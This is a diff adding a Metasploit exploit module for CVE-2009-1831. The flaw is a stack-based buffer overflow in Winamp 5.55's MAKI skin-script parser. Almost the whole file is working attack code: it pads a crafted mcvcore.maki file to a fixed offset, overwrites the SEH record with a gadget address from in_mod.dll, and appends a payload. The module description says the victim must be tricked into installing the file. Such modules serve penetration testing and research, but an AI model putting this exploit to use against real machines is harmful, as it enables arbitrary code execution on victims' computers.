|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::FILEFORMAT |
| 14 | + include Msf::Exploit::Remote::Seh |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'Winamp MAKI Buffer Overflow', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a stack based buffer overflow in Winamp 5.55. The flaw |
| 21 | + exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file, |
| 22 | + where memmove is used with in a insecure way with user controlled data. |
| 23 | +
|
| 24 | + To exploit the vulnerability the attacker must convince the attacker to install the |
| 25 | + generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin, |
| 26 | + or generate a new skin using the crafted mcvcore.maki file. The module has been |
| 27 | + tested successfully on Windows XP SP3 and Windows 7 SP1. |
| 28 | + }, |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Author' => |
| 31 | + [ |
| 32 | + 'Monica Sojeong Hong', # Vulnerability Discovery |
| 33 | + 'juan vazquez' # Metasploit module |
| 34 | + ], |
| 35 | + 'References' => |
| 36 | + [ |
| 37 | + [ 'CVE', '2009-1831'], |
| 38 | + [ 'OSVDB', '54902'], |
| 39 | + [ 'BID', '35052'], |
| 40 | + [ 'EDB', '8783'], |
| 41 | + [ 'EDB', '8772'], |
| 42 | + [ 'EDB', '8770'], |
| 43 | + [ 'EDB', '8767'], |
| 44 | + [ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ] |
| 45 | + ], |
| 46 | + 'DefaultOptions' => |
| 47 | + { |
| 48 | + 'EXITFUNC' => 'process', |
| 49 | + }, |
| 50 | + 'Payload' => |
| 51 | + { |
| 52 | + 'Space' => 4000, |
| 53 | + 'DisableNops' => true, |
| 54 | + 'BadChars' => "" |
| 55 | + }, |
| 56 | + 'Platform' => 'win', |
| 57 | + 'Targets' => |
| 58 | + [ |
| 59 | + # winamp.exe 5.5.5.2405 |
| 60 | + [ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1', |
| 61 | + { |
| 62 | + 'Ret' => 0x12f02bc3, # ppr from in_mod.dll |
| 63 | + 'Offset' => 16756 |
| 64 | + } |
| 65 | + ] |
| 66 | + ], |
| 67 | + 'Privileged' => false, |
| 68 | + 'DisclosureDate' => 'May 20 2009', |
| 69 | + 'DefaultTarget' => 0)) |
| 70 | + |
| 71 | + register_options( |
| 72 | + [ |
| 73 | + OptString.new('FILENAME', [ false, 'The file name (do not change!)', 'mcvcore.maki']), |
| 74 | + ], self.class) |
| 75 | + |
| 76 | + end |
| 77 | + |
| 78 | + def exploit |
| 79 | + |
| 80 | + sploit = rand_text(target['Offset']) |
| 81 | + sploit << generate_seh_record(target.ret) |
| 82 | + sploit << payload.encoded |
| 83 | + length_sploit = [sploit.length].pack("v") |
| 84 | + |
| 85 | + header = "\x46\x47" # magic |
| 86 | + header << "\x03\x04" # version |
| 87 | + header << "\x17\x00\x00\x00" |
| 88 | + types = "\x01\x00\x00\x00" # count |
| 89 | + # class 1 => Object |
| 90 | + types << "\x71\x49\x65\x51\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7" |
| 91 | + # functions |
| 92 | + functions = "\x37\x00\x00\x00" # count |
| 93 | + #function 1 |
| 94 | + functions << "\x01\x01" # class |
| 95 | + functions << "\x00\x00" # dummy |
| 96 | + functions << length_sploit # function name length |
| 97 | + functions << sploit # crafted function name |
| 98 | + |
| 99 | + maki = header |
| 100 | + maki << types |
| 101 | + maki << functions |
| 102 | + |
| 103 | + print_status("Creating '#{datastore['FILENAME']}' file ...") |
| 104 | + |
| 105 | + file_create(maki) |
| 106 | + |
| 107 | + end |
| 108 | + |
| 109 | +end |
0 commit comments